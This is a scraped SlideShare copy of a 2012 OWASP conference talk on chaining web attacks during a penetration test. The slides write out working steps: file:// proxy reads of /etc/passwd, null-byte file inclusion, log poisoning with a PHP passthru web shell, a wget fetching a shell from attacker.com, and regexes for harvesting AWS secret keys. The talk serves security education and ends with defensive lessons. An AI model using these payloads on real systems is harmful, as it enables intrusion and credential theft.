SlideShare a Scribd company logo
Attack Chaining
Advanced Maneuvers for Hack Fu
OWASP ATL
31 May 2012
About Us
  WHO ARE THES DUDES?


 •  Rob                      •  Oscar
    Sr. Security Associate      Security Associate
    @ Stach & Liu               @ Stach & Liu




                                                     2	
  
Penetration Test
           vs.
Vulnerability Assessment



                           3	
  
vs.




      4	
  
Simulate a real world
attack against a
target network or
application.
                - EVERYBODY

                              5	
  
It answers the
question, “could
someone break in?”


                     6	
  
Penetration Testing
                              Exploit &
                              Penetrate	

Information
Gathering	

           2	

                                     3	

                                             Escalate
                                             Privileges	




          1	

                 Maintain     4a	

 4b	

                 Access	

                                        Deny Access
Pen Testing Scenario
 •  Web application penetration test
 •  Cloud-based infrastructure hosts multiple
    sites
 •  Out-sourced PHP development to many
    contractors
 •  Determine attackers ability to
    compromise PII or infrastructure



                                                8	
  
Step 1 – Explore




                   9	
  
Step 2 – Read Code

 http://vuln.com/dir/share.js
 ...
 AJAX.Call({ method:’POST’, url:’include/s_proxy.php’
 ...




                                                        10	
  
Step 3 – Proxy?

 http://vuln.com/dir/include/s_proxy.php?
 redirect_url=http://www.google.com




                                            11	
  
Step 4 – Read Local Files!

 http://vuln.com/dir/include/s_proxy.php?
 redirect_url=file:///etc/passwd




                                            12	
  
Attack Chaining – Maneuver 1




                               13	
  
Attack Chaining – Maneuver 1




                               14	
  
Step 5 – Gather More Info

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/conf/httpd.conf




                                                   15	
  
Step 6 – Keep Going…

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/conf/virtual.conf




                                                     16	
  
Step 6 – Keep Going…

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/conf/virtual.conf



  VirtualHost *
        ServerName vuln.com
        	
  DocumentRoot /var/www/sites/vuln.com/docroot
        ErrorLog logs/vuln.com_error_log
  /VirtualHost




                                                           17	
  
Step 7 – Back to DirBuster




                             18	
  
Step 8 – Review Code
 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///var/www/sites/vuln.com/
 docroot/dir/include/controller.php




                                                 19	
  
Step 8 – Review Code
  http://vuln.com/dir/include/s_proxy.php
  ?redirect_url=file:///var/www/sites/vuln.com/
  docroot/dir/include/controller.php

?php
require_once('includes/config.php');

$module = !empty($_REQUEST['module']) ? $_REQUEST['module'] :
$config['module'];
$action = !empty($_REQUEST['action']) ? $_REQUEST['action'] :
$config['action'];
$currentModuleFile = 'modules/'.$module.'/'.$action.'.php';
include($currentModuleFile)
exit;
?

                                                        20	
  
Attack Chaining – Maneuver 2




                               21	
  
Attack Chaining – Maneuver 2




                               22	
  
Step 9 – Null Byte Injection

 http://vuln.com/dir/include/controller.php
 ?module=../../../../../../etc/passwd%00




                                              23	
  
Step 8 – Review Code
http://vuln.com/dir/include/s_proxy.php
?redirect_url=file:///var/www/sites/vuln.com/
docroot/dir/include/controller.php

?php
require_once('includes/config.php');

$module = !empty($_REQUEST['module']) ? $_REQUEST['module'] :
$config['module'];
$action = !empty($_REQUEST['action']) ? $_REQUEST['action'] :
$config['action'];
$currentModuleFile = 'modules/'.$module.'/'.$action.'.php';
include($currentModuleFile)
exit;
?

                                                        24	
  
Step 10 – Review Gathered Info

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/conf/virtual.conf




                                                     25	
  
Step 10 – Back to Virtual Conf

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/conf/virtual.conf


 VirtualHost *
        ServerName vuln.com
        DocumentRoot /var/www/sites/vuln.com/docroot
        ErrorLog logs/vuln.com_error_log
 /VirtualHost




                                                       26	
  
Step 11 – Where To Stick It?

 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/logs/vuln.com_
 error_log

 [error] [client 10.10.65.18] File does not exist:
 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat.jpg, referer:
 http://www.vuln.com/




                                                      27	
  
Step 12 – Poison Logs




                        28	
  
Step 12 – Poison Logs




                        29	
  
Step 12 – Poison Logs

 ?
 echo 'pre';
 passthru($_GET['cmd']);
 echo '/pre';
 ?




                            30	
  
Step 13 – PHP in the Log
 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/logs/vuln.com_
 error_log

 [error] [client 10.10.65.18] File does not exist:
 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat.jpg,
 referer: http://www.vuln.com/




                                                      31	
  
Step 13 – PHP in the Log
 http://vuln.com/dir/include/s_proxy.php
 ?redirect_url=file:///etc/httpd/logs/vuln.com_
 error_log

 [error] [client 10.10.65.18] File does not exist:
 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat.jpg,
 referer: http://www.vuln.com/

 [error] [client 10.10.65.18] File does not exist:
 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat-attack.jpg,
 referer: ? echo 'pre';passthru(
 $_GET['cmd']);echo 'pre'; ?

                                                      32	
  
Step 14 – Execute Code

 http://vuln.com/dir/include/controller.php
 ?module=/../../../../../../../../etc/httpd/
 logs/vuln.com_error_log%00cmd=ls;

 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat-attack.jpg, referer:
 controller.php
 example.php
 includes
 modules
 phpinfo.php
 …

                                                      33	
  
Step 14 – Execute Code
 ?
 echo 'pre';
 passthru('ls');
 echo '/pre';
 ?
 /var/www/sites/vuln.com/docroot/wp-content/themes/
 lulzcat-attack.jpg, referer:
 controller.php
 example.php
 includes
 modules
 phpinfo.php
 …

                                                      34	
  
Attack Chaining – Maneuver 3




                               35	
  
Attack Chaining – Maneuver 3




                               36	
  
Step 15 – Upload Shell

 http://vuln.com/dir/include/controller.php
 ?module=/../../../../../../../../etc/httpd/
 logs/vuln.com_error_log%00cmd=wget%20http://
 attacker.com/gny.php;
 	
  




                                                 37	
  
Step 16 – Enjoy!




                   38	
  
Step 17 – I	
  want	
  more!
ec2[^d]['][A-Z0-9]{20}[']
ec2.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}[']
ec2.*['][A-Z0-9]{20}[']
ec2(D)*['][A-Z0-9]{20}[']
amazon.*['][A-Z0-9]{20}[']
(amazon|ec2).*['][A-Z0-9]{20}[']
amazon(D)*['][A-Z0-9]{20}[']
access secret ['][A-Z0-9]{20}['] [A-Za-z0-9+/]{40}
amazon.*['][A-Z0-9]{20}['].*['][A-Za-z0-9+/]{40}[']
aws.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}[']
amazon.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}[']
secret.*['][A-Za-z0-9+/]{40}[']
['][A-Za-z0-9+/]{40}['].*amazon



                                                          39	
  
Step 18 – Amazon	
  AWS	
  Regex
$this-­‐amazonService	
  =	
  new	
  Zend_Service_Amazon('DB3BAD768F2F11C7628',	
  
	
  
$aws_key	
  =	
  '8AFB5AF55D1E6620EE1';	
  
	
  
define('AMAZON_KEY',	
  '372B8E408D1484C538F');	
  
	
  
if	
  (!defined('awsAccessKey'))	
  define('awsAccessKey',	
  '9F6EB7471C926194884');	
  
	
  
//if	
  (!defined('awsAccessKey'))	
  define('awsAccessKey',	
  '4CAD89B86344CD8C26C');	
  
	
  
define('AMAZON_AES_ACCESS_KEY_ID',	
  '95C95B8DC84AA24C0EC');	
  




                                                                                            40	
  
Step 19 – AWS	
  Takeover




                            41	
  
Step 20 – Make	
  It	
  Your	
  Own




                                  42	
  
Cost of Amazon Cloud Compromise
        CRI TICAL EXPOSURE

 1.  Found 8 Amazon Secret Keys to access Amazon S3
 2.  Found that 2 of the 8 have administrator access to
     Amazon EC2
 3.  Attacker launches 100 Extra Large Clusters




$1,049,000
                                                          43	
  
Take Them Off The Web
        CRI TICAL EXPOSURE

 1.  Found 8 Amazon Secret Keys to access Amazon S3
 2.  Found that 2 of the 8 have administrator access to
     Amazon EC2
 3.  Attacker shuts down and deletes all servers and
     backups permanently




PRICELESS                                                 44	
  
Attack Chaining – Hack Fu




                            45	
  
Attack Chaining – Hack Fu




                            46	
  
Why Is This Happening?

 1.  Local File Include    4.  Insecure Credential
     •  File Read Only         Storage
     •  Code Execution     5.  Overly Permissive
 2.  Null Byte Injection       Amazon AWS Keys
 3.  Log Poisoning         6.  Sensitive Information
                               Disclosure




                                                       47	
  
Web à Mass Malware Deployment




                                 48	
  
Web à Data Center Compromise




                                49	
  
Web à Internal Network Compromise




                                     50	
  
Internal Assessmentà SSN  Bank #’s




                                       51	
  
Infrastructure Review




                        52	
  
Step 1 – Target Wireless




                           53	
  
Step 1 – Target Wireless




                           54	
  
Step 2 – Port Scan




                     55	
  
Step 3 – Test Default Creds




                              56	
  
Infrastructure Apocalypse




                            57	
  
Step 4 – Control AP




                      58	
  
Step 5 – Read All E-mail




                           59	
  
Step 6 – Listen To VOIP




                          60	
  
Step 7 – Open All Doors




                          61	
  
Step 7 – Open All Doors




                          62	
  
63	
  
Step 7 – Server Room Door




                            64	
  
Is This Real Life?

 1.  Insecure Wireless   4.  Weak Passwords
     Encryption          5.  Sensitive Information
 2.  Improper Network        Disclosure
     Segmentation
 3.  Insecure Default
     Configuration




                                                     65	
  
Protection – How?

 1.  People
 2.  Policy
 3.  Processes
 4.  Strategic / Tactical
     Security
 5.  Defense In-Depth




                            66	
  
Defense In-Depth
      I S P R O T E C T I O N A G A I N S T. . .




                                                   67	
  
How Do You Get Better?




                         68	
  
Synthesis and Patterns
    CAN BE BOTH GOOD AND BAD




                               69	
  
Attack Visualization
           LIKE BOBBY FISCHER




                                70	
  
Attack Chaining: Advanced Maneuvers for Hack Fu
Thank You




            72	
  

More Related Content

PPT
Intro to Web Application Security
PPT
Filter Evasion: Houdini on the Wire
PPT
Static Analysis: The Art of Fighting without Fighting
PPT
Writing Secure Code – Threat Defense
PPTX
SSRF For Bug Bounties
PDF
Web Application Firewall: Suckseed or Succeed
PPTX
Make profit with UI-Redressing attacks.
PPTX
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...
Intro to Web Application Security
Filter Evasion: Houdini on the Wire
Static Analysis: The Art of Fighting without Fighting
Writing Secure Code – Threat Defense
SSRF For Bug Bounties
Web Application Firewall: Suckseed or Succeed
Make profit with UI-Redressing attacks.
[CB16] Electron - Build cross platform desktop XSS, it’s easier than you thin...

What's hot (20)

PDF
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
PDF
Beyond OWASP Top 10 - TASK October 2017
PPTX
MITM Attacks on HTTPS: Another Perspective
PDF
Web Security 101
PDF
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
ODP
Top 10 Web Security Vulnerabilities
PPTX
Secure Programming In Php
PPTX
Waf bypassing Techniques
PDF
Hacking the Web
PDF
Think Like a Hacker - Database Attack Vectors
PDF
Bug Bounty Hunter Methodology - Nullcon 2016
PDF
Внедрение безопасности в веб-приложениях в среде выполнения
PDF
In graph we trust: Microservices, GraphQL and security challenges
PPS
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
PPTX
Application and Website Security -- Fundamental Edition
PDF
Romulus OWASP
DOC
Same Origin Policy Weaknesses
PPTX
OWASP Pune Chapter : Dive Into The Profound Web Attacks
PDF
Shellcoding in linux
[CB16] 80時間でWebを一周:クロムミウムオートメーションによるスケーラブルなフィンガープリント by Isaac Dawson
Beyond OWASP Top 10 - TASK October 2017
MITM Attacks on HTTPS: Another Perspective
Web Security 101
Vorontsov, golovko ssrf attacks and sockets. smorgasbord of vulnerabilities
Top 10 Web Security Vulnerabilities
Secure Programming In Php
Waf bypassing Techniques
Hacking the Web
Think Like a Hacker - Database Attack Vectors
Bug Bounty Hunter Methodology - Nullcon 2016
Внедрение безопасности в веб-приложениях в среде выполнения
In graph we trust: Microservices, GraphQL and security challenges
Manindra kishore _incident_handling_n_log_analysis - ClubHack2009
Application and Website Security -- Fundamental Edition
Romulus OWASP
Same Origin Policy Weaknesses
OWASP Pune Chapter : Dive Into The Profound Web Attacks
Shellcoding in linux

Viewers also liked (8)

PDF
CloudBots - Harvesting Crypto Currency Like a Botnet Farmer
PDF
Social Engineering: the Bad, Better, and Best Incident Response Plans
PDF
Black Hat USA 2016 - Highway to the Danger Drone - 03Aug2016 - Slides - UPDAT...
PDF
Tenacious Diggity - Skinny Dippin in a Sea of Bing
PDF
Black Hat 2011 - Pulp Google Hacking: The Next Generation Search Engine Hacki...
PDF
BSidesPGH - Never Surrender - Reducing Social Engineering Risk
PDF
21 Hidden LinkedIn Hacks Revealed
PPT
Train The Trainer Power Point Presentation
CloudBots - Harvesting Crypto Currency Like a Botnet Farmer
Social Engineering: the Bad, Better, and Best Incident Response Plans
Black Hat USA 2016 - Highway to the Danger Drone - 03Aug2016 - Slides - UPDAT...
Tenacious Diggity - Skinny Dippin in a Sea of Bing
Black Hat 2011 - Pulp Google Hacking: The Next Generation Search Engine Hacki...
BSidesPGH - Never Surrender - Reducing Social Engineering Risk
21 Hidden LinkedIn Hacks Revealed
Train The Trainer Power Point Presentation

Similar to Attack Chaining: Advanced Maneuvers for Hack Fu (20)

PDF
Penetration Testing is the Art of the Manipulation
PPT
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
PPT
Beyond Automated Testing - RVAsec 2016
PDF
CNIT 129S: 10: Attacking Back-End Components
PDF
Art of Web Backdoor - Pichaya Morimoto
PPT
BSidesJXN 2016: Finding a Company's BreakPoint
PPT
BSides Philly Finding a Company's BreakPoint
PDF
Pentesting an unfriendly environment: bypassing (un)common defences and mate ...
PDF
ENPM808 Independent Study Final Report - amaster 2019
PDF
Hacking sites for fun and profit
PDF
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
PPT
Andrew and Zac RVA-Beyond-Automated-Testing-2016.ppt
PDF
Hack Attack! An Introduction to Penetration Testing
DOCX
Continuing in your role as a human service provider for your local.docx
PPTX
BSides_Charm2015_Info sec hunters_gathers
PPTX
Reversing Engineering a Web Application - For fun, behavior and detection
PPT
BSidesDC 2016 Beyond Automated Testing
PDF
Web hackingtools cf-summit2014
PPTX
[FTP|SQL|Cache] Injections
PDF
Hacking sites for fun and profit
Penetration Testing is the Art of the Manipulation
Bsides-Philly-2016-Finding-A-Companys-BreakPoint
Beyond Automated Testing - RVAsec 2016
CNIT 129S: 10: Attacking Back-End Components
Art of Web Backdoor - Pichaya Morimoto
BSidesJXN 2016: Finding a Company's BreakPoint
BSides Philly Finding a Company's BreakPoint
Pentesting an unfriendly environment: bypassing (un)common defences and mate ...
ENPM808 Independent Study Final Report - amaster 2019
Hacking sites for fun and profit
13th Symposium of Association of Anti Virus Asia Researchers (AAVAR 2010) con...
Andrew and Zac RVA-Beyond-Automated-Testing-2016.ppt
Hack Attack! An Introduction to Penetration Testing
Continuing in your role as a human service provider for your local.docx
BSides_Charm2015_Info sec hunters_gathers
Reversing Engineering a Web Application - For fun, behavior and detection
BSidesDC 2016 Beyond Automated Testing
Web hackingtools cf-summit2014
[FTP|SQL|Cache] Injections
Hacking sites for fun and profit

Recently uploaded (20)

PDF
Encapsulation theory and applications.pdf
PDF
Univ-Connecticut-ChatGPT-Presentaion.pdf
PDF
Heart disease approach using modified random forest and particle swarm optimi...
PDF
Unlocking AI with Model Context Protocol (MCP)
PDF
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
PPTX
OMC Textile Division Presentation 2021.pptx
PPTX
cloud_computing_Infrastucture_as_cloud_p
PPTX
SOPHOS-XG Firewall Administrator PPT.pptx
PDF
August Patch Tuesday
PPTX
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
PDF
Agricultural_Statistics_at_a_Glance_2022_0.pdf
PDF
Spectral efficient network and resource selection model in 5G networks
PPTX
Tartificialntelligence_presentation.pptx
PDF
Diabetes mellitus diagnosis method based random forest with bat algorithm
PDF
Empathic Computing: Creating Shared Understanding
PDF
gpt5_lecture_notes_comprehensive_20250812015547.pdf
PPTX
A Presentation on Artificial Intelligence
PPTX
Group 1 Presentation -Planning and Decision Making .pptx
PPT
Teaching material agriculture food technology
PPTX
Machine Learning_overview_presentation.pptx
Encapsulation theory and applications.pdf
Univ-Connecticut-ChatGPT-Presentaion.pdf
Heart disease approach using modified random forest and particle swarm optimi...
Unlocking AI with Model Context Protocol (MCP)
Video forgery: An extensive analysis of inter-and intra-frame manipulation al...
OMC Textile Division Presentation 2021.pptx
cloud_computing_Infrastucture_as_cloud_p
SOPHOS-XG Firewall Administrator PPT.pptx
August Patch Tuesday
TechTalks-8-2019-Service-Management-ITIL-Refresh-ITIL-4-Framework-Supports-Ou...
Agricultural_Statistics_at_a_Glance_2022_0.pdf
Spectral efficient network and resource selection model in 5G networks
Tartificialntelligence_presentation.pptx
Diabetes mellitus diagnosis method based random forest with bat algorithm
Empathic Computing: Creating Shared Understanding
gpt5_lecture_notes_comprehensive_20250812015547.pdf
A Presentation on Artificial Intelligence
Group 1 Presentation -Planning and Decision Making .pptx
Teaching material agriculture food technology
Machine Learning_overview_presentation.pptx

Attack Chaining: Advanced Maneuvers for Hack Fu

  • 1. Attack Chaining Advanced Maneuvers for Hack Fu OWASP ATL 31 May 2012
  • 2. About Us WHO ARE THES DUDES? •  Rob •  Oscar Sr. Security Associate Security Associate @ Stach & Liu @ Stach & Liu 2  
  • 3. Penetration Test vs. Vulnerability Assessment 3  
  • 4. vs. 4  
  • 5. Simulate a real world attack against a target network or application. - EVERYBODY 5  
  • 6. It answers the question, “could someone break in?” 6  
  • 7. Penetration Testing Exploit & Penetrate Information Gathering 2 3 Escalate Privileges 1 Maintain 4a 4b Access Deny Access
  • 8. Pen Testing Scenario •  Web application penetration test •  Cloud-based infrastructure hosts multiple sites •  Out-sourced PHP development to many contractors •  Determine attackers ability to compromise PII or infrastructure 8  
  • 9. Step 1 – Explore 9  
  • 10. Step 2 – Read Code http://vuln.com/dir/share.js ... AJAX.Call({ method:’POST’, url:’include/s_proxy.php’ ... 10  
  • 11. Step 3 – Proxy? http://vuln.com/dir/include/s_proxy.php? redirect_url=http://www.google.com 11  
  • 12. Step 4 – Read Local Files! http://vuln.com/dir/include/s_proxy.php? redirect_url=file:///etc/passwd 12  
  • 13. Attack Chaining – Maneuver 1 13  
  • 14. Attack Chaining – Maneuver 1 14  
  • 15. Step 5 – Gather More Info http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/conf/httpd.conf 15  
  • 16. Step 6 – Keep Going… http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/conf/virtual.conf 16  
  • 17. Step 6 – Keep Going… http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/conf/virtual.conf VirtualHost * ServerName vuln.com  DocumentRoot /var/www/sites/vuln.com/docroot ErrorLog logs/vuln.com_error_log /VirtualHost 17  
  • 18. Step 7 – Back to DirBuster 18  
  • 19. Step 8 – Review Code http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///var/www/sites/vuln.com/ docroot/dir/include/controller.php 19  
  • 20. Step 8 – Review Code http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///var/www/sites/vuln.com/ docroot/dir/include/controller.php ?php require_once('includes/config.php'); $module = !empty($_REQUEST['module']) ? $_REQUEST['module'] : $config['module']; $action = !empty($_REQUEST['action']) ? $_REQUEST['action'] : $config['action']; $currentModuleFile = 'modules/'.$module.'/'.$action.'.php'; include($currentModuleFile) exit; ? 20  
  • 21. Attack Chaining – Maneuver 2 21  
  • 22. Attack Chaining – Maneuver 2 22  
  • 23. Step 9 – Null Byte Injection http://vuln.com/dir/include/controller.php ?module=../../../../../../etc/passwd%00 23  
  • 24. Step 8 – Review Code http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///var/www/sites/vuln.com/ docroot/dir/include/controller.php ?php require_once('includes/config.php'); $module = !empty($_REQUEST['module']) ? $_REQUEST['module'] : $config['module']; $action = !empty($_REQUEST['action']) ? $_REQUEST['action'] : $config['action']; $currentModuleFile = 'modules/'.$module.'/'.$action.'.php'; include($currentModuleFile) exit; ? 24  
  • 25. Step 10 – Review Gathered Info http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/conf/virtual.conf 25  
  • 26. Step 10 – Back to Virtual Conf http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/conf/virtual.conf VirtualHost * ServerName vuln.com DocumentRoot /var/www/sites/vuln.com/docroot ErrorLog logs/vuln.com_error_log /VirtualHost 26  
  • 27. Step 11 – Where To Stick It? http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/logs/vuln.com_ error_log [error] [client 10.10.65.18] File does not exist: /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat.jpg, referer: http://www.vuln.com/ 27  
  • 28. Step 12 – Poison Logs 28  
  • 29. Step 12 – Poison Logs 29  
  • 30. Step 12 – Poison Logs ? echo 'pre'; passthru($_GET['cmd']); echo '/pre'; ? 30  
  • 31. Step 13 – PHP in the Log http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/logs/vuln.com_ error_log [error] [client 10.10.65.18] File does not exist: /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat.jpg, referer: http://www.vuln.com/ 31  
  • 32. Step 13 – PHP in the Log http://vuln.com/dir/include/s_proxy.php ?redirect_url=file:///etc/httpd/logs/vuln.com_ error_log [error] [client 10.10.65.18] File does not exist: /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat.jpg, referer: http://www.vuln.com/ [error] [client 10.10.65.18] File does not exist: /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat-attack.jpg, referer: ? echo 'pre';passthru( $_GET['cmd']);echo 'pre'; ? 32  
  • 33. Step 14 – Execute Code http://vuln.com/dir/include/controller.php ?module=/../../../../../../../../etc/httpd/ logs/vuln.com_error_log%00cmd=ls; /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat-attack.jpg, referer: controller.php example.php includes modules phpinfo.php … 33  
  • 34. Step 14 – Execute Code ? echo 'pre'; passthru('ls'); echo '/pre'; ? /var/www/sites/vuln.com/docroot/wp-content/themes/ lulzcat-attack.jpg, referer: controller.php example.php includes modules phpinfo.php … 34  
  • 35. Attack Chaining – Maneuver 3 35  
  • 36. Attack Chaining – Maneuver 3 36  
  • 37. Step 15 – Upload Shell http://vuln.com/dir/include/controller.php ?module=/../../../../../../../../etc/httpd/ logs/vuln.com_error_log%00cmd=wget%20http:// attacker.com/gny.php;   37  
  • 38. Step 16 – Enjoy! 38  
  • 39. Step 17 – I  want  more! ec2[^d]['][A-Z0-9]{20}['] ec2.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}['] ec2.*['][A-Z0-9]{20}['] ec2(D)*['][A-Z0-9]{20}['] amazon.*['][A-Z0-9]{20}['] (amazon|ec2).*['][A-Z0-9]{20}['] amazon(D)*['][A-Z0-9]{20}['] access secret ['][A-Z0-9]{20}['] [A-Za-z0-9+/]{40} amazon.*['][A-Z0-9]{20}['].*['][A-Za-z0-9+/]{40}['] aws.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}['] amazon.*['][A-Z0-9]{20}['] ['][A-Za-z0-9+/]{40}['] secret.*['][A-Za-z0-9+/]{40}['] ['][A-Za-z0-9+/]{40}['].*amazon 39  
  • 40. Step 18 – Amazon  AWS  Regex $this-­‐amazonService  =  new  Zend_Service_Amazon('DB3BAD768F2F11C7628',     $aws_key  =  '8AFB5AF55D1E6620EE1';     define('AMAZON_KEY',  '372B8E408D1484C538F');     if  (!defined('awsAccessKey'))  define('awsAccessKey',  '9F6EB7471C926194884');     //if  (!defined('awsAccessKey'))  define('awsAccessKey',  '4CAD89B86344CD8C26C');     define('AMAZON_AES_ACCESS_KEY_ID',  '95C95B8DC84AA24C0EC');   40  
  • 41. Step 19 – AWS  Takeover 41  
  • 42. Step 20 – Make  It  Your  Own 42  
  • 43. Cost of Amazon Cloud Compromise CRI TICAL EXPOSURE 1.  Found 8 Amazon Secret Keys to access Amazon S3 2.  Found that 2 of the 8 have administrator access to Amazon EC2 3.  Attacker launches 100 Extra Large Clusters $1,049,000 43  
  • 44. Take Them Off The Web CRI TICAL EXPOSURE 1.  Found 8 Amazon Secret Keys to access Amazon S3 2.  Found that 2 of the 8 have administrator access to Amazon EC2 3.  Attacker shuts down and deletes all servers and backups permanently PRICELESS 44  
  • 45. Attack Chaining – Hack Fu 45  
  • 46. Attack Chaining – Hack Fu 46  
  • 47. Why Is This Happening? 1.  Local File Include 4.  Insecure Credential •  File Read Only Storage •  Code Execution 5.  Overly Permissive 2.  Null Byte Injection Amazon AWS Keys 3.  Log Poisoning 6.  Sensitive Information Disclosure 47  
  • 48. Web à Mass Malware Deployment 48  
  • 49. Web à Data Center Compromise 49  
  • 50. Web à Internal Network Compromise 50  
  • 51. Internal Assessmentà SSN Bank #’s 51  
  • 53. Step 1 – Target Wireless 53  
  • 54. Step 1 – Target Wireless 54  
  • 55. Step 2 – Port Scan 55  
  • 56. Step 3 – Test Default Creds 56  
  • 58. Step 4 – Control AP 58  
  • 59. Step 5 – Read All E-mail 59  
  • 60. Step 6 – Listen To VOIP 60  
  • 61. Step 7 – Open All Doors 61  
  • 62. Step 7 – Open All Doors 62  
  • 63. 63  
  • 64. Step 7 – Server Room Door 64  
  • 65. Is This Real Life? 1.  Insecure Wireless 4.  Weak Passwords Encryption 5.  Sensitive Information 2.  Improper Network Disclosure Segmentation 3.  Insecure Default Configuration 65  
  • 66. Protection – How? 1.  People 2.  Policy 3.  Processes 4.  Strategic / Tactical Security 5.  Defense In-Depth 66  
  • 67. Defense In-Depth I S P R O T E C T I O N A G A I N S T. . . 67  
  • 68. How Do You Get Better? 68  
  • 69. Synthesis and Patterns CAN BE BOTH GOOD AND BAD 69  
  • 70. Attack Visualization LIKE BOBBY FISCHER 70  
  • 72. Thank You 72